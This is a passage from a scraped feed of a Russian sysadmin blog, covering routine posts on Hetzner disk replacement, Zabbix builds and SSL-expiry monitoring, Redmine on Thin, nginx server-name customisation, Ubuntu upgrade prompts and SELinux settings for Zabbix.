badblocks (частичный)\nbadblocks -v -s /dev/sdb3 Checking blocks 0 to 1073741823 Checking for bad blocks (read-only test): 561257984 Смотрим на таблицу разделов в секторном представлении с помощью\nparted /dev/sdb \u0026#39;unit s print\u0026#39; Model: ATA ST3000DM001-9YN1 (scsi) Disk /dev/sdb: 5860533168s Sector size (logical/physical): 512B/4096B Partition Table: gpt Number Start End Size File system Name Flags 5 2048s 4095s 2048s bios_grub 1 4096s 67112959s 67108864s raid 2 67112960s 68161535s 1048576s raid 3 68161536s 2215645183s 2147483648s raid 4 2215645184s 5860533134s 3644887951s raid Нас интересует раздел под номером 3, смещение 68161536 от начала диска. Весь раздел размером 2147483648 секторов или 1073741824 блока (что следует из вывода badblocks выше). Значит для получения сбойного сектора делаем следующее:\nБерем блок из вывода badblocks 561257984, умножаем на 2, прибавляем смещение 68161536. Полученный сектор 1190677504 и его окрестность пробуем читать hdparm \u0026ndash;read-sector 1190677504 /dev/sdb. Про окрестность упомянуто не просто так, мне для получения требуемых секторов пришлось в операцию перевода добавить везде \u0026ldquo;плюс 2\u0026rdquo;.\nПосле исправления 300+ секторов (частично вручную, частично примитивными bash-скриптами) синхронизация завершилась успешно. В течение всей работы по восстановлению дисков производился мониторинг SMART старого диска, в котором изменялся не в лучшую сторону параметр Current_Pending_Sector, в конце концов он обнулился. Выросло значение Reallocated_Sector_Ct, что показывает, что сектора были успешно заменены на резервные.\nВ финале можно повторить установку загрузчика для обоих дисков (чтобы наверняка), а также проверить чек-суммы ядра и загрузчика (для тех, кто сначала читает, а потом делает - скопируйте до операций ремапа папку /boot в безопасное место, например на живой раздел).\nСсылки:\nFestplattenaustausch im Software-RAID Hetzner и замена диска Forcing a hard disk to reallocate bad sectors mdadm — raid 1 — сделать spare рабочим ","permalink":"https://blog.xsk.in/it/moj-opy-t-zameny-diskov-v-hetzner/726/","summary":"\u003cp\u003eО том, что Hetzner использует подержанные жесткие диски, не писал только ленивый. Не вижу в этом ничего плохого, учитывая их постоянное уплотнение и снижение отказоустойчивости. Рано или поздно, любые жесткие диски выходят из строя. Но раньше и трава была зеленее, и железо стабильнее.\u003cbr\u003e\nОтвалился один из дисков, входящих в стандартный софтварный RAID1, созданный с помощью mdadm. На работе сервера это никоим образом не сказалось, но отсутствие резервирования не есть хорошо. После полного бэкапа системы (файлы, базы данных, настройки) написали тикет в техподдержку.\u003cbr\u003e\nЗаблаговременно нужно поставить загрузчик на оставшийся в живых диск (делаем наверняка, вдруг мертвый диск был главным, и с него загружалась система). Для этого достаточно выполнить\u003c/p\u003e","title":"Мой опыт замены дисков в Hetzner"},{"content":"Начиная с Sense 5.5 НТС добавили функцию отключения BlinkFeed, однако не все устройства получили обновления. Для Desire 500, 600, Butterfly S, One mini и остальных аппаратов с прежней версией Sense 5.0 возможность полностью выключить экран с новостной лентой отсутствует. Есть только возможность убрать отображение этой самой ленты, оставив пустой экран с часами.\nКроме того, можно переназначить домашний экран по умолчанию на соседний рабочий стол, чтобы без надобности не попадать на экран с BlinkFeed постоянно.\nНа рабочем столе, отличном от BlinkFeed, сделайте щипок (свести пальцы) или нажмите и удерживайте свободную часть экрана до появления меню редактирования Захватите пиктограмму рабочего стола и перенесите её к появившейся сверху кнопке \u0026ldquo;Установить как главный экран\u0026rdquo; Перейдите в Настройки - Приложения - Все приложения и, пользуясь поиском, найдите и отключите службы HTC News Plugin, Location Picker, Local Feed Provider, Social Feed Provider Перезагрузите устройство Ссылки:\nКак отключить HTC BlinkFeed? ","permalink":"https://blog.xsk.in/it/otklyuchenie-htc-blinkfeed-v-sense-5-0/720/","summary":"\u003cp\u003eНачиная с Sense 5.5 НТС добавили функцию отключения BlinkFeed, однако не все устройства получили обновления. Для Desire 500, 600, Butterfly S, One mini и остальных аппаратов с прежней версией Sense 5.0 возможность полностью выключить экран с новостной лентой отсутствует. Есть только возможность убрать отображение этой самой ленты, оставив пустой экран с часами.\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2014/12/disable-blinkfeed-black-screen.jpg\"\u003e\u003cimg alt=\"disable-blinkfeed-black-screen\" loading=\"lazy\" src=\"/wp-content/uploads/2014/12/disable-blinkfeed-black-screen-193x300.jpg\"\u003e\u003c/a\u003e\u003cbr\u003e\nКроме того, можно переназначить домашний экран по умолчанию на соседний рабочий стол, чтобы без надобности не попадать на экран с BlinkFeed постоянно.\u003c/p\u003e","title":"Отключение HTC BlinkFeed в Sense 5.0"},{"content":"Когда на почту приходит уведомление\nThe Class 1, client certificate for my@email.address and serial number 123456 (123456) is about to expire in about two weeks. Please log into the StartSSL Control Panel at https://www.startssl.com/?app=12 and get a new certificate for this purpose. Failing to update your client certificate might result in the loss of your account.\nнужно зайти в панель StartSSL, заново подтвердить свой e-mail и получить сертификат для браузера.\nПоследовательность действий такова:\nЗалогиниться в панель Нажать Validations Wizard -\u0026gt; Email Validation Ввести адрес электронной почты и дождаться кода активации Подтвердить почту пришедшим кодом Перейти в Certificates Wizard -\u0026gt; S/MIME and Authentication Certificate Сгенерировать новый сертификат и добавить его в браузер Note: Рекомендуется делать бэкапы сертификатов, чтобы после переустановки операционной системы не потерять доступ к панели StartSSL. Как экспортировать сертификаты на примере Firefox:\nПерейти в меню Правка - Настройки - Дополнительные - Сертификаты - Просмотр сертификатов - Ваши сертификаты Выбрать необходимый и сохранить его на жестком диске в файл с расширением .p12 Ссылки:\nHow do I renew my member certificate? ","permalink":"https://blog.xsk.in/it/prodlenie-klientskogo-sertifikata-v-startssl/717/","summary":"\u003cp\u003eКогда на почту приходит уведомление\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe Class 1, client certificate for \u003ca href=\"mailto:my@email.address\"\u003emy@email.address\u003c/a\u003e and serial number 123456 (123456) is about to expire in about two weeks. Please log into the StartSSL Control Panel at \u003ca href=\"https://www.startssl.com/?app=12\"\u003ehttps://www.startssl.com/?app=12\u003c/a\u003e and get a new certificate for this purpose. Failing to update your client certificate might result in the loss of your account.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Продление клиентского сертификата в StartSSL"},{"content":"Чтобы собрать Zabbix из исходников, нужно победить кучу ошибок, возникающих из-за отсутствующих на сервере зависимостей. Ниже собраны пакеты, которые нужно установить для устранения ошибок сборки. Справедливо для Debian, в других дистрибутивах можно поискать что-то похожее по названию.\nФлаг Ошибка Зависимость --with-mysql configure: error: MySQL library not found libmysqlclient-dev --with-libcurl configure: error: Curl library not found libcurl4-openssl-dev --with-net-snmp configure: error: Not found NET-SNMP library libsnmp-dev --with-openipmi configure: error: Invalid OPENIPMI directory - unable to find ipmiif.h libopenipmi-dev --with-jabber checking for IKSEMEL... configure: error: Jabber library not found libiksemel-dev --with-libxml2 configure: error: LIBXML2 library not found libxml2-dev --with-ssh2 configure: error: SSH2 library not found libssh2-1-dev Просто ставим недостающие зависимости через\napt-get install $packet-name .\nСсылки:\nУстранение ошибок при сборке Zabbix ","permalink":"https://blog.xsk.in/it/oshibki-pri-sborke-zabbix/714/","summary":"\u003cp\u003eЧтобы собрать Zabbix из исходников, нужно победить кучу ошибок, возникающих из-за отсутствующих на сервере зависимостей. Ниже собраны пакеты, которые нужно установить для устранения ошибок сборки. Справедливо для Debian, в других дистрибутивах можно поискать что-то похожее по названию.\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003eФлаг\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eОшибка\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eЗависимость\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e--with-mysql\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003econfigure: error: MySQL library not found\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003elibmysqlclient-dev\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e--with-libcurl\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003econfigure: error: Curl library not found\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003elibcurl4-openssl-dev\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e--with-net-snmp\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003econfigure: error: Not found NET-SNMP library\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003elibsnmp-dev\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e--with-openipmi\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003econfigure: error: Invalid OPENIPMI directory - unable to find ipmiif.h\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003elibopenipmi-dev\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e--with-jabber\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003echecking for IKSEMEL... configure: error: Jabber library not found\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003elibiksemel-dev\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e--with-libxml2\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003econfigure: error: LIBXML2 library not found\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003elibxml2-dev\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e--with-ssh2\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003econfigure: error: SSH2 library not found\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003elibssh2-1-dev\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eПросто ставим недостающие зависимости через\u003c/p\u003e","title":"Ошибки при сборке Zabbix"},{"content":"С помощью net.tcp.service можно проверять, запущены ли всевозможные сервисы, а также отвечают ли они на TCP соединения. Сервисом может быть ssh, ntp, ldap, smtp, ftp, http, pop, nntp, imap, tcp, https и telnet, в качестве аргументов помимо имени сервиса также передать IP и порт.\nСтолкнулся с ошибкой:\nzabbix_get -s agent.host -k net.tcp.service[https] ZBX_NOTSUPPORTED Версии у агента и сервера одинаковые. Обе компоненты собраны из исходников в Debian 6. Как выяснилось, необходимо указание в сборщике опции with-libcurl. После пересборки агента с этим параметром проблема с проверками исчезает.\nСсылки:\nZabbix 2.0.1 and https ","permalink":"https://blog.xsk.in/it/net-tcp-service-https-zbx_notsupported/711/","summary":"\u003cp\u003eС помощью \u003cstrong\u003enet.tcp.service\u003c/strong\u003e можно проверять, запущены ли всевозможные сервисы, а также отвечают ли они на TCP соединения. Сервисом может быть ssh, ntp, ldap, smtp, ftp, http, pop, nntp, imap, tcp, https и telnet, в качестве аргументов помимо имени сервиса также передать IP и порт.\u003cbr\u003e\nСтолкнулся с ошибкой:\u003c/p\u003e","title":"net.tcp.service[https] ZBX_NOTSUPPORTED"},{"content":"После покупки и добавления сертификата к домену обычно не обращаешь внимания на его срок жизни, пока в один прекрасный день сайт не перестаёт открываться по HTTPS. Для сертификатов для почтовых служб еще хуже, о не дошедшей почте узнаёшь гораздо позже. Чтобы такого не происходило, можно сделать напоминание о необходимости продления в системе мониторинга Zabbix.\nВарианта проверки валидности сертификата как минимум два: зайти через интерфейс, к которому добавлен SSL, и проверить его данные; либо же непосредственно на сервере обратиться к содержимому файла сертификата и наверняка получить желаемый результат.\nЧем плох первый случай? Для проверки используется стандартный клиент openssl, происходит обращение к домену примерно следующего вида\nopenssl s_client -host $host -port $port -showcerts Однако, nginx давно умеет SNI, и мы завели несколько доменов на одном IP. Возможно, есть способы проверки и для такого случая, но командой выше у меня не вышло получить время жизни дальше чем для первого сертификата на одном интерфейсе.\nЕсли кому-то этот способ понравится больше предложенного мной ниже, его полная реализация с темплейтом и скриптами на Bash и Python имеются в официальной документации Zabbix. Замечу, однако, что помимо всего прочего, в данной реализации используется внешняя проверка с zabbix-сервера, что само по себе не является best practice и привносит на сервер дополнительную нагрузку.\nЯ же предлагаю другой вариант: проверка непосредственно файлов сертификатов на тех серверах, где они используются. Для актуализации списка можно парсить конфиги веб- или почтового сервера. В приведенном ниже скрипте используется nginx.conf, в котором фильтруются закомментированные строки. Помимо количества дней до конца действия сертификата считывается выдавшая его организация, чтобы в случае чего знать куда бежать за новым. За основу взят скрипт из вышеупомянутой документации, он лишь был доработан напильником для автономной работы.\n#!/bin/bash #------------------------------------------------------------ # ssl_int_check.sh # Script checks for number of days until certificate expires or the issuing authority # depending on switch passed on command line. # #Based on script from aperto.fr (http://aperto.fr/cms/en/blog/15-blog-en/15-ssl-certificate-expiration-monitoring-with-zabbix.html) #with additions by racooper@tamu.edu. #------------------------------------------------------------ if [ -z ${2} ]; then certs=`grep \u0026#34;ssl_certificate \u0026#34; /etc/nginx/nginx.conf |grep -v \u0026#34;^#\u0026#34;|sed -n \u0026#39;s/.*ssl_certificate *//p\u0026#39;|tr -d \u0026#34;;\u0026#34;` if [[ -n ${certs} ]]; then JSON=\u0026#34;{ \\\u0026#34;data\\\u0026#34;:[\u0026#34; for CRT in ${certs}; do JSON=${JSON}\u0026#34;{ \\\u0026#34;{#CERTIFICATE}\\\u0026#34;:\\\u0026#34;${CRT}\\\u0026#34;},\u0026#34; done JSON=${JSON}\u0026#34;]}\u0026#34; echo ${JSON}|sed \u0026#39;$s/,]}$/]}/\u0026#39; fi else f=$1 cert=$2 case $f in -d) end_date=`openssl x509 -noout -enddate -in $cert | cut -d \u0026#39;=\u0026#39; -f 2` if [ -n \u0026#34;$end_date\u0026#34; ] then end_date_seconds=`date \u0026#39;+%s\u0026#39; --date \u0026#34;$end_date\u0026#34;` now_seconds=`date \u0026#39;+%s\u0026#39;` echo \u0026#34;($end_date_seconds-$now_seconds)/24/3600\u0026#34; | bc fi ;; -i) issue_dn=`openssl x509 -noout -text -in $cert |sed -n \u0026#39;s/ *Issuer: *//p\u0026#39;` if [ -n \u0026#34;$issue_dn\u0026#34; ] then issuer=`echo $issue_dn | sed -n \u0026#39;s/.*CN=*//p\u0026#39;` echo $issuer fi ;; *) echo \u0026#34;usage: $0 [-i|-d] /path/to/crt\u0026#34; echo \u0026#34; -i Show Issuer\u0026#34; echo \u0026#34; -d Show valid days remaining\u0026#34; ;; esac fi Еще одним дополнением является наличие discovery, позволяющего обойти рутинную работу по монотонному добавлению всех доменов в Zabbix. Результат работы скрипта без каких либо аргументов дает валидный JSON, который подхватывает Zabbix и заводит все необходимые параметры автоматически.\nДля работы необходимо наличие на сервере калькулятора bc.\nПодключить скрипт нужно в файле конфигурации zabbix_agentd.conf с помощью UserParameter:\n#SSL Certificate Expiry UserParameter=cert.discovery, /etc/zabbix/scripts/ssl_int_check.sh UserParameter=cert.check[*], /etc/zabbix/scripts/ssl_int_check.sh $1 $2 Темплейт для Zabbix можно скачать по ссылке: ssl_check.xml. В нем имеется 3 триггера, срабатывающие за месяц, за неделю и в день истечения срока годности сертификата. Проверка и обнаружение новых SSL осуществляется раз в сутки.\nСсылки:\nZabbix и проверка срока действия SSL сертификата Docs/howto/ssl certificate check zext_ssl_cert.sh ","permalink":"https://blog.xsk.in/it/monitoring-ssl-sertifikatov-v-zabbix/708/","summary":"\u003cp\u003eПосле покупки и добавления сертификата к домену обычно не обращаешь внимания на его срок жизни, пока в один прекрасный день сайт не перестаёт открываться по HTTPS. Для сертификатов для почтовых служб еще хуже, о не дошедшей почте узнаёшь гораздо позже. Чтобы такого не происходило, можно сделать напоминание о необходимости продления в системе мониторинга Zabbix.\u003cbr\u003e\nВарианта проверки валидности сертификата как минимум два: зайти через интерфейс, к которому добавлен SSL, и проверить его данные; либо же непосредственно на сервере обратиться к содержимому файла сертификата и наверняка получить желаемый результат.\u003c/p\u003e","title":"Мониторинг SSL-сертификатов в Zabbix"},{"content":"Если внимательно читать официальный мануал по установке Redmine, то можно наткнуться на замечание:\nNote: Webrick is not suitable for production use, please only use webrick for testing that the installation up to this point is functional. Use one of the many other guides in this wiki to setup redmine to use either Passenger (aka mod_rails), FCGI or a Rack server (Unicorn, Thin, Puma, hellip;) to serve up your redmine.\nЯ при установке руководствовался преимущественно русскоязычным гайдом, его составители были или ленивыми, или невнимательными, поэтому долгое время продакшн крутился на webrick с жуткими тормозами. В поисках причин и было найдено это уточнение. Переезд на thin в качестве бэкенда для nginx под катом\nИтак, для начала устанавливаем Thin:\napt-get install thin Перед настройкой создадим папку для логов\nmkdir /var/log/thin chmod 755 /var/log/thin Позаботимся заблаговременно о ротации этих логов, чтобы в дальнейшем не возвращаться к проблеме растущего system time на сервере. Для этого создаем /etc/logrotate.d/thin следующего содержания:\n/var/log/thin/*.log { daily missingok rotate 52 compress delaycompress notifempty create 640 root adm sharedscripts postrotate /etc/init.d/thin restart \u0026gt;/dev/null endscript } Можно руками создать файл конфигурации или предоставить это приложению, передав необходимые параметры через аргументы:\nthin config --config /tmp/redmine.yml --chdir /home/redmine \\ --environment production --socket /var/run/redmine/sockets/thin.sock \\ --daemonize --log /var/log/thin/redmine.log --pid /var/run/thin/redmine.pid \\ --user www-data --group www-data --servers 2 --prefix /redmine mv /tmp/redmine.yml /etc/thin/redmine.yml chown root:root /etc/thin/redmine.yml chmod 644 /etc/thin/redmine.yml Мне больше по душе редактирование конфига руками, в результате файл /etc/thin/redmine.yml выглядит примерно так:\n# расположение файла pid pid: /var/run/thin/thin.pid # таймаут запросов timeout: 30 # расположение логов log: /var/log/thin/redmine.log # максимальное количество одновременных соединений max_conns: 1024 # подключение библиотек require: [] # окружение фреймворка environment: production # максимальное количество постоянных соединений max_persistent_conns: 512 # смена текущей директории chdir: /home/redmine # количество запускаемых серверов thin servers: 2 # переходить в режим демона daemonize: true # расположение сокета socket: /home/redmine/tmp/sockets/thin.sock # учетная запись, под которой будет работать # сервер thin user: www-data # группа, под которой будет работать сервер thin group: www-data Проверяем наличие run-скрипта /etc/init.d/thin и при необходимости правим его:\n#!/bin/sh ### BEGIN INIT INFO # Provides: thin # Required-Start: $local_fs $remote_fs # Required-Stop: $local_fs $remote_fs # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: thin initscript # Description: thin ### END INIT INFO # Original author: Forrest Robertson # Do NOT \u0026#34;set -e\u0026#34; DAEMON=/usr/bin/thin SCRIPT_NAME=/etc/init.d/thin # Exit if the package is not installed [ -x \u0026#34;$DAEMON\u0026#34; ] || exit 0 run_action() { ACTION=\u0026#34;$1\u0026#34; if [ -x /usr/bin/ruby1.8 ]; then /usr/bin/ruby1.8 $DAEMON $ACTION --all /etc/thin1.8 fi if [ -x /usr/bin/ruby1.9.1 ]; then /usr/bin/ruby1.9.1 $DAEMON $ACTION --all /etc/thin fi } case \u0026#34;$1\u0026#34; in start) run_action start ;; stop) run_action stop ;; restart|force-reload|reload) run_action restart ;; *) echo \u0026#34;Usage: $SCRIPT_NAME {start|stop|restart}\u0026#34; \u0026gt;\u0026amp;2 exit 3 ;; esac : Запускаем, проверяем наличие \u0026ldquo;thin server\u0026rdquo; в списке процессов. Если что-то не работает - читаем логи, особое внимание стоит уделить наличию необходимых прав на рабочей директории redmine и папок для логов и pid-файлов.\nПосле успешного запуска нового сервера правим конфигурацию nginx\nserver { listen :80; server_name redmine; error_log /var/log/nginx/thin_error.log; root /home/redmine/public; location / { try_files $uri $uri/index.html $uri.html @redmine_thin; } location @redmine_thin { proxy_pass http://redmine_thin; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $http_host; proxy_set_header X-Real-IP $remote_addr; proxy_redirect off; } } upstream redmine_thin { server unix://home/redmine/tmp/sockets/thin.0.sock; server unix://home/redmine/tmp/sockets/thin.1.sock; } Здесь количество воркеров в директиве upstream совпадает с указанным в конфиге thin количеством запускаемых серверов.\nИспользование try_files позволяет избавить thin от раздачи статики, этим занимается непосредственно сам nginx.\nСсылки:\nInstalling Redmine Installing Redmine with MySQL Thin and Redmine on Debian Squeeze ","permalink":"https://blog.xsk.in/it/redmine-izbavlyaemsya-ot-webrick/703/","summary":"\u003cp\u003eЕсли внимательно читать официальный мануал по установке \u003cem\u003eRedmine\u003c/em\u003e, то можно наткнуться на замечание:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNote: Webrick is \u003cstrong\u003enot\u003c/strong\u003e suitable for production use, please only use webrick for testing that the installation up to this point is functional. Use one of the many other guides in this wiki to setup redmine to use either Passenger (aka mod_rails), FCGI or a Rack server (Unicorn, Thin, Puma, hellip;) to serve up your redmine.\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Redmine: избавляемся от Webrick"},{"content":"Если в консоли периодически проскакивает\nshell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory или\nsh: 0: getcwd() failed: No such file or directory то просто нужно выйти из папки, которую до этого удалили. Можете не благодарить.\n","permalink":"https://blog.xsk.in/it/lechim-oshibku-sh-0-getcwd-failed-no-such-file-or-directory/694/","summary":"\u003cp\u003eЕсли в консоли периодически проскакивает\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eshell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eили\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esh: 0: getcwd() failed: No such file or directory\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eто просто нужно выйти из папки, которую до этого удалили.  Можете не благодарить.\u003c/p\u003e","title":"Лечим ошибку sh: 0: getcwd() failed: No such file or directory"},{"content":"Из соображений безопасности в Nginx из коробки можно скрыть версию веб-сервера на компьютере. Для этого служит директива server_tokens и её значение off. Это позволит избежать возможных атак со стороны злоумышленников, нацеленных на уязвимости в какой-то определенной версии Nginx. Однако есть возможность изменить и само имя сервера. Правда для этого необходимо изменение исходных кодов, а не добавление директив в файлы конфигурации.\nСкачав необходимую версию сервера с официального сайта, распакуем её и устремимся в исходники:\nwget http://nginx.org/download/nginx-1.6.2.tar.gz tar zxf nginx-1.6.2.tar.gz cd nginx-1.6.2/src/http/ Искомое нам значение находится в файле ngx_http_header_filter_module.c, на 49 строке\nstatic char ngx_http_server_string[] = \u0026#34;Server: nginx\u0026#34; CRLF; static char ngx_http_server_full_string[] = \u0026#34;Server: \u0026#34; NGINX_VER CRLF; Исправляем его по своему усмотрению:\nstatic char ngx_http_server_string[] = \u0026#34;Server: XskinWebServer\u0026#34; CRLF; static char ngx_http_server_full_string[] = \u0026#34;Server: XskinWebServer\u0026#34; CRLF; Компилируем и собираем Nginx, подставляя привычные параметры:\n./configure ... make make install После этих манипуляций наш веб-сервер начинает обманывать браузеры, выдавая себя за другого. Однако, на страницах ошибок (например, 404) он всё еще пишет своё истинное имя. Это недоразумение также можно исправить, для этого необходимо внести изменения в файл src/http/ngx_http_special_response.c, строку 22\nи строку 29\nСсылки:\nМодуль ngx_http_core_module How To Customize Your Nginx Server Name After Compiling From Source In CentOS ","permalink":"https://blog.xsk.in/it/podmena-imeni-servera-v-nginx/690/","summary":"\u003cp\u003eИз соображений безопасности в Nginx из коробки можно скрыть версию веб-сервера на компьютере. Для этого служит директива \u003cem\u003e\u003cstrong\u003eserver_tokens\u003c/strong\u003e\u003c/em\u003e и её значение \u003cem\u003e\u003cstrong\u003eoff\u003c/strong\u003e\u003c/em\u003e. Это позволит избежать возможных атак со стороны злоумышленников, нацеленных на уязвимости в какой-то определенной версии Nginx. Однако есть возможность изменить и само имя сервера. Правда для этого необходимо изменение исходных кодов, а не добавление директив в файлы конфигурации.\u003c/p\u003e","title":"Подмена имени сервера в Nginx"},{"content":"Несмотря на огромный период времени до окончания срока поддержки предыдущей версии Ubuntu 12.04 LTS, после выхода Trusty Thar система назойливо напоминает о возможности апдейта в motd:\nNew release \u0026lsquo;14.04.1 LTS\u0026rsquo; available.\nRun \u0026lsquo;do-release-upgrade\u0026rsquo; to upgrade to it.\nОтключить эту нотификацию можно в настройках update-менеджера.\nДля этого необходимо в файле /etc/update-manager/release-upgrades заменить строку\nPrompt=lts на\nPrompt=never После чего проверки на доступность будут заканчиваться отрицательным результатом:\ndo-release-upgrade -d Проверка наличия нового релиза Ubuntu Новая версия не обнаружена Информация из motd (сообщения, которое выводится при авторизации на сервере) исчезнет в течение суток, но это можно ускорить удалением файла /var/lib/update-notifier/release-upgrade-available.\nИзменением содержимого этого файла раз в сутки занимается скрипт /usr/lib/update-manager/release-upgrade-motd.\nСсылки:\nUbuntu 12.04.4 – запретить обновление до 14.04 ","permalink":"https://blog.xsk.in/it/udalyaem-napominanie-o-nalichii-obnovlenij-ubuntu-lts/687/","summary":"\u003cp\u003eНесмотря на огромный период времени до окончания срока поддержки предыдущей версии Ubuntu 12.04 LTS, после выхода Trusty Thar система назойливо напоминает о возможности апдейта в motd:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNew release \u0026lsquo;14.04.1 LTS\u0026rsquo; available.\u003cbr\u003e\nRun \u0026lsquo;do-release-upgrade\u0026rsquo; to upgrade to it.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eОтключить эту нотификацию можно в настройках update-менеджера.\u003c/p\u003e","title":"Удаляем напоминание о наличии обновлений Ubuntu LTS"},{"content":"Коммерческая версия Nginx Plus содержит в себе модуль ngx_http_status_module, который позволяет в режиме реального времени отслеживать состояние всех бэкендов веб-сервера.\nВ некоммерческой версии на помощь приходят многочисленные сторонние наработки, выполняющие основной функционал модуля мониторинга, а именно мониторинг бэкендов и отображение актуальной статистики на отдельной странице.\nИз нескольких найденных разработок энтузиастов в последней стабильной версии nginx (1.6.2 на текущий момент) заработали и отобразили желаемый результат два:\nnginx upstream status nginx_http_upstream_check_module Первый отображает состояние бэкендов с текущим состоянием, не имеет настроек и включает в себя всего один обработчик upstream_status.\nВторой имеет массу разнообразных настроек, постоянно опрашивает состояние апстримов с заданной периодичностью и отображает состояние, исходя из предустановок (кол-во положительных/отрицательных ответов HTTP/TCP проверки)\nПроцедура установки и настройки описана в гитхабе, стоит только отметить, что в силу простоты первый модуль ставится без лишних телодвижений, для второго же необходимо патчить исходники nginx в соответствии со скаченной версией.\nСсылки:\nLoad Balancing with NGINX and NGINX Plus part 2 Live Activity Monitoring of NGINX Plus Module ngx_http_status_module nginx how to get status of webservers on the backend? nginx upstream status nginx_http_upstream_check_module ","permalink":"https://blog.xsk.in/it/monitoring-dostupnosti-upstream-v-nginx/679/","summary":"\u003cp\u003eКоммерческая версия Nginx Plus содержит в себе модуль \u003ca href=\"http://nginx.org/en/docs/http/ngx_http_status_module.html\" title=\"Module ngx_http_status_module\"\u003engx_http_status_module\u003c/a\u003e, который позволяет в режиме реального времени отслеживать состояние всех бэкендов веб-сервера.\u003cbr\u003e\n\u003ca href=\"/wp-content/uploads/2014/09/nginx-status1.png\"\u003e\u003cimg alt=\"nginx-status1\" loading=\"lazy\" src=\"/wp-content/uploads/2014/09/nginx-status1-300x200.png\"\u003e\u003c/a\u003e\u003cbr\u003e\nВ некоммерческой версии на помощь приходят многочисленные сторонние наработки, выполняющие основной функционал модуля мониторинга, а именно мониторинг бэкендов и отображение актуальной статистики на отдельной странице.\u003c/p\u003e","title":"Мониторинг доступности upstream в nginx"},{"content":"Если после установки серверной части системы мониторинга Zabbix в RHEL-системах в веб-интерфейсе вылазит ошибка\nZabbix server is not running: the information displayed may not be current\nнеобходимо проверить 2 момента настройки:\nконфигурацию zabbix_server.conf политику доступа к портам в SELinux Рассмотрим второй момент подробнее\nПроверяем, действительно ли виноват SeLinux:\ntail -f /var/log/audit/audit.log |grep -i avc Должны периодически добавляться в лог строки вроде этой:\ntype=AVC msg=audit(1395664684.460:297): avc: denied { name_connect } for pid=3078 comm=\u0026ldquo;httpd\u0026rdquo; dest=10051 scontext=unconfined_u:system_r:httpd_t:s0 tcontext=system_u:object_r:zabbix_port_t:s0 tclass=tcp_socket\nа команда:\ngetsebool -a | grep zabbix должна в таком случае дать результат:\nzabbix_can_network \u0026ndash;\u0026gt; off\nИзменим политику для httpd:\nsetsebool httpd_can_network_connect on Проверяем:\ngetsebool httpd_can_network_connect Результат должен быть следующий:\nhttpd_can_network_connect \u0026ndash;\u0026gt; on\nТеперь веб-интерфейс Zabbix должен нормально подключаться к серверу через порт 10051 (по-умолчанию) и ошибка исчезнет.\nСсылки:\nОшибка после установки Zabbix: Zabbix server is not running: the information displayed may not be current ","permalink":"https://blog.xsk.in/it/zabbix-server-is-not-running-v-centos/677/","summary":"\u003cp\u003eЕсли после установки серверной части системы мониторинга Zabbix в RHEL-системах в веб-интерфейсе вылазит ошибка\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color: #ff0000;\"\u003eZabbix server is not running: the information displayed may not be current\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003eнеобходимо проверить 2 момента настройки:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eконфигурацию zabbix_server.conf\u003c/li\u003e\n\u003cli\u003eполитику доступа к портам в SELinux\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eРассмотрим второй момент подробнее\u003c/p\u003e","title":"Zabbix server is not running в CentOS"},{"content":"DRBD - сетевой RAID-массив, частями которого являются размещенные на разных машинах блочные устройства /dev/drbd. При изменении данных на примонтированном локально устройстве происходит синхронизация измененными блоками по сети. В результате чего имеем удаленную актуальную копию, используемую в качестве резервной в случае исчезновения связи с основным хранилищем.\nБолее подробную информацию можно найти в официальной документации, дальше же лаконичное how-to по быстрой настройке кластера из двух DRBD-нод.\nСтавим необходимый софт:\napt-get install drbd8-utils 